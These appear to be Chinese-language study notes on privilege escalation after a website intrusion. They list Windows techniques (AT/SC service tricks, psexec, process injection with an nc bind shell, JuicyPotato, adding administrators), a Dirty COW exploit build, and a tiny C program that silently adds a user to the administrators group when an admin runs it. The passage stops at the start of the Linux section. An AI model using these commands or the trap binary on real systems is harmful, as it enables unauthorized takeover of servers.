正文
什么是提权
为了提高自己在服务器中的权限所进行的操作
主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞上传shell,以夺得该服务器权限。
•
操作系统安全的基础
用户空间 与 内核空间 是隔离的。
内核空间是内核代码运行的地方,用户空间是用户程序代码运行的地方。所以如果用户的程序崩溃了,内核是不受影响。
当进程运行在内核空间时就处于内核态,当进程运行在用户空间时就处于用户态。
•
账号分类
本地系统帐户(SYSTEM):
本地系统帐户是一个具有完全系统访问权并且在网络中担当计算机的超级帐户。
本地服务帐户(LOCAL SERVICE):
本地服务帐户是一个类似于经过认证的用户帐户的特殊的内置帐户。本地服务帐户具有和 Users 用户组成员相同级别的资源和对象访问权。
网络服务帐户(NETWORK SERVICE):
网络服务帐户是一个类似于经过认证的用户帐户的特殊的内置帐户。网络服务帐户具有和 Users 用户组成员相同级别的资源和对象访问权。
用户账号在登陆时获取权限令牌
而服务账号无需用户登陆,会自己在后台启动服务
各账号间权限不一样
用户划分
windows系统的用户分为三类
user 、 administrator 、system
linux系统分为两类
user 、root
windows权限
windows权限有三种。
user 有普通用户权限
administrator 有用户管理员权限
system 有系统管理员权限
linux权限
user 普通权限
root 管理员权限
提权类别
本地提权
配置提权
漏洞提权
本地提权
1.AT命令提权
首先以administrator身份打开cmd
然后输入:at 10:21 /interactive cmd
然后在10:21的时候,打开了一个cmd
2.SC命令提权
sc Create syscmd binpath="cmd/k start" type= own type= interact
sc start syscmd
system 服务名字,可以随便取
binpath 环境变量,执行的路径
3.内核提权
psexec -i -s -d cmd
4.注入进程提权
pinjector.exe -p 2152 cmd 12345
注入进程提权的流程
首先在靶机上的身份是administrator,靶机ip是172.16.11.141
进入靶机里
pinjector.exe
的所在的根目录,
然后
pinjector.exe -l
查看可以注入的进程
选择你想注入的进程
pinjector.exe -p 1444 cmd 5432
-p 是选择注入的进程的pid,这里的5432是端口
nc 172.16.11.141 5432
漏洞提权
烂土豆提权
属于
令牌提权
限制条件
需要支持SeImpersonate或者SeAssignPrimaryToken权限
开启DCOM
本地支持RPC或者远程服务器支持PRC并能成功登录
能够找到可用的COM对象
webshell版脚本
Juicypotato.exe –p whoami
脏牛提权
属于
linux内核提权
下载现成的exp
https://github.com/FireFart/dirtycow
然后编译生成一个可执行的文件
gcc -pthread dirty.c -o dirty -lcrypt
最后提权
巴西烤肉
net localgroup administrators admin123456 /add
利用配置不当提权
与利用漏洞提权相比,此方法更常用
大部分企业,会对系统的漏洞即时进行补丁更新,很难通过系统的漏洞进行入侵;
查找系统中以system权限启动的服务或应用,可以尝试将其替换或者反弹shell的方式提权;
可以查找NTFS权限允许users修改删除的应用,利用配置不当进行提权;
代码中是否有过滤参数的操作等都可以加以利用,进行提取;
使用icacls软件(windows)
icacls
icacls c:\windows\*.exe /save perm /T
i586-mingw32msvc-gcc -o admin.exe admin.c //因为exe要给windows用所以这里使用i586-mingw32msvc-gcc这个编译
admin.c
#include<stdlib.h>
int main()
{
int i;
i=system("net localgroup administrators a /add");
return 0;
}
只要管理员点击admin.exe,就会将用户a添加到管理员组
linux
1. 找到配置不当的文件
方法1